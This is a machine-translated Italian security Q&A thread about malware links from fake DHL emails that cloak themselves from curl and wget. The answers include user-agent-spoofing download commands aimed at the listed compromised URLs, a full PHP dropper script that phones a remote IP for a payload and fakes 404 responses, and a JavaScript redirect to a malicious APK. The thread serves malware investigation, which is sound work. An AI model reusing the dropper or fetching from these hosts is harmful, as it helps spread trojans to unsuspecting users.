Collegamenti dannosi che rispondono ai browser ma non arricciati o wget

20

Ci sono alcuni messaggi di posta elettronica con link a siti Web danneggiati di persone con download di malware

Ti piace questo tipo di email: email di posta finta per pacchetti DHL

... i collegamenti spesso assumono la forma di:

http:// www.mandyhank.com /sbfdiqr.php?get_info=ss00_323
http:// sasfamily.com /fpxlcaj.php?get_info=ss00_323
http:// tfdesignsandpcrepair.com /dinwnle.php?get_info=ss00_323

E, fino a quando il sito non verrà rimosso o risolto, andando lì con un browser scaricherà un file zip contenente un trojan exe.

Ma provando a wget o curl ottiene:

Not Found
The requested URL was not found on this server.

Ho provato a utilizzare la stessa stringa user-agent dal mio browser in arricciatura. Come posso ottenere una copia del codice HTML della pagina di destinazione in modo che possa seguirlo per il resto? Dubito che sia una cosa JS, il mio browser funziona con JS disabilitato.

    
posta user145837 15.05.2013 - 20:00
fonte

6 risposte

1

Secondo l'analisi di TrendMicro questo fa parte della botnet Asprox.

Ulteriori informazioni su:
link
link

    
risposta data 28.05.2013 - 11:31
fonte
25

Sembra che il sito web stia controllando solo l'agente utente. Ho provato il seguente

wget --user-agent="Mozilla/5.0 (Windows NT 5.2; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" "http://tfdesignsandpcrepair.com/dinwnle.php?get_info=ss00_323" -O file.zip

e sembra funzionare

Una possibilità è che potresti aver provato così tante volte senza un agente utente valido che alla fine il server ha bloccato il tuo IP e ora ti dà 404 indipendentemente dalla tua richiesta.

Aggiornamento: Sì, questa sembra essere la ragione. Dopo 3 tentativi riusciti di scaricare il file, il server ha iniziato a lanciarmi un falso 404. Ho usato un proxy e ho notato lo stesso comportamento; 3 download riusciti e poi una risposta con la lunghezza 153 contenente:

<html><head><title>404 Not Found</title></head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
</body></html>
    
risposta data 15.05.2013 - 20:37
fonte
8

Potrebbe non essere l'intestazione user-agent che stanno guardando, o l'unica intestazione che stanno guardando prima di decidere se servire o meno la pagina. Potresti avere una migliore possibilità se copi un intero set di intestazioni dal tuo browser e inviali tutte con la richiesta.

Se funziona, puoi provare varie permutazioni del set di intestazione per determinare quali intestazioni specifiche stanno digitando.

    
risposta data 15.05.2013 - 20:11
fonte
8

Potresti richiedere la pagina da un browser mentre esegui un proxy come Burp che ti consentirebbe di ottenere il contenuto della pagina.

Inoltre ti darebbe una richiesta valida che puoi riprodurre senza un browser utilizzando la funzione Repeater.

    
risposta data 15.05.2013 - 20:19
fonte
2

Un webmaster mi ha inviato un file get.php. Quindi il download dei virus proviene da un server separato, quindi il carico utile può essere generato altrove. E a meno che le condizioni siano soddisfatte di seguito, si ottiene un falso 404. Se il server dei virus centrale ti vuole, ottieni un falso 404.

Ci sono letteralmente centinaia di siti web che hanno ancora questo script PHP, ma il 404 lo fa sembrare pulito.

Immagino che un server antivirus possa tenere traccia delle richieste e "vietare" la richiesta di IP in base a ciò che vuole. Come troppi agenti utente errati o DNS inverso.

Ciò che deve succedere è che più di questi script PHP devono essere compilati, ottenere un elenco dei server dei virus, rimuoverli e vedere come funzionano.

<?php
error_reporting(0);
ini_set("display_errors", 0);

$remote = 'http://62.109.31.142/request12.php';

php_display($remote);

error_404();

function php_display($url)
{    
    $query = array();
    $query['ip'] = getIp();
    $query['time'] = date('d/M/Y:H:i:s', time());
    $query['request'] = getRequest();
    $query['path'] = getPath();
    $query['protocol'] = getProtocol();
    $query['useragent'] = getUseragent();
    $query['referer'] = getReferer();

    $url = $url."?".http_build_query($query);

    $content = @file_get_contents($url);

    if(empty($content) OR stripos($content, "error") !== FALSE)
    {
        error_404();
    }

    $content = explode("\n", $content);
    $filename = array_shift($content);
    $content = implode("\n", $content);

    $type = 'application/zip';
    header('Content-Type:'.$type);
    header('Content-Disposition: attachment; filename='.$filename);
    header('Content-Length: '.  strlen($content));
    echo $content;
    exit();
}

function error_404()
{
    header("HTTP/1.1 404 Not Found");
    exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
            ."<html><head><title>404 Not Found</title></head><body>\r\n"
            ."<h1>Not Found</h1>\r\n"
            ."<p>The requested URL was not found on this server.</p>\r\n"
            ."<hr>\r\n"
            ."</body></html>\r\n");
}

function getRequest()
{
    return $_SERVER['REQUEST_METHOD'];
}

function getPath()
{
    return $_SERVER['REQUEST_URI'];
}

function getProtocol()
{
    return $_SERVER['SERVER_PROTOCOL'];
}

function getUseragent()
{
    return $_SERVER['HTTP_USER_AGENT'];
}

function getReferer()
{
    $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-';
    return $referer;    
}

function getIp()
{
    $ip = NULL;
    if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif(isset($_SERVER['HTTP_CLIENT_IP']))
    {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    elseif(isset($_SERVER['REMOTE_ADDR']))
    {
        $ip = $_SERVER['REMOTE_ADDR'];
    }

    if(strpos($ip, ",") !== FALSE)
    {
        $ips = explode(",", $ip);
        $ip = trim(array_pop($ips));
    }

    return $ip;
}

Hai anche qualcosa di diverso per alcuni agenti utente mobili.

  wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; fr;
     rv:1.9.2.18) Gecko/20110614 Mozilla/5.0 (Android; Linux armv7l;
     rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0" 
  "http:// archaicguru.ca /img / get.php?info=867_124381713"

... diretto a www.appsoluteconcepts.com

Aggiornamento 23 maggio 2013.

Ho eseguito:

http:// dekadolstermennekes.nl /templates /rssgets.php?get_info=ss00_323

attraverso questo:

'curl -o #{domain}/winff.out -A "Mozilla/5.0 (Windows NT 5.1; rv:21.0)   
   Gecko/20130401 Firefox/21.0" "#{url}"'

 'curl -o #{domain}/winie8.out -A "Mozilla/5.0 (compatible; MSIE 8.0; 
    Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 
    3.3.69573; WOW64; en-US)" "#{url}"'

 'curl -o #{domain}/linff.out -A "Mozilla/5.0 (X11; Ubuntu; Linux i686; 
    rv:20.0) Gecko/20100101 Firefox/20.0" "#{url}"'

  'curl -o #{domain}/droidAWK.out -A "Mozilla/5.0 (Linux; U; Android 2.2.1; 
     en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) 
     Version/4.0 Mobile Safari/533.1" "#{url}"'

Ho ottenuto 404 falsi per Windows, Linux e Mac. Per i due Android UA ho ottenuto un APK ospitato altrove grazie a javascript:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
 <html>
 <head>

 <meta content="text/html; charset=Windows-1251" http-equiv="content-type">
 <title></title>

 </head>
 <body>

 <script language="JavaScript">
 <!--
   window.location=" http:// bahnsinn-hattersheim.de /mediapool /85/859783 
      /resources/pictures/Application.apk";
  //-->
  </script>
</body>

Il file .apk è circa 2176026 byte, MD5 3ffa39687b28f3e6993fe6ae218b91c9 ma mi mancano le abilità 1337 per fare qualcosa con esso.

    
risposta data 21.05.2013 - 07:21
fonte
0

Poiché la connessione non utilizza https, userei wireshark per eseguire un'acquisizione di pacchetti. Una volta acquisita la cattura, è possibile fare clic con il pulsante destro del mouse su un pacchetto coinvolto nel trasferimento http e su 'Segui flusso TCP'. Ti mostrerà la conversazione codificata a colori che il tuo browser / sistema aveva con il server.

    
risposta data 16.05.2013 - 18:13
fonte

Leggi altre domande sui tag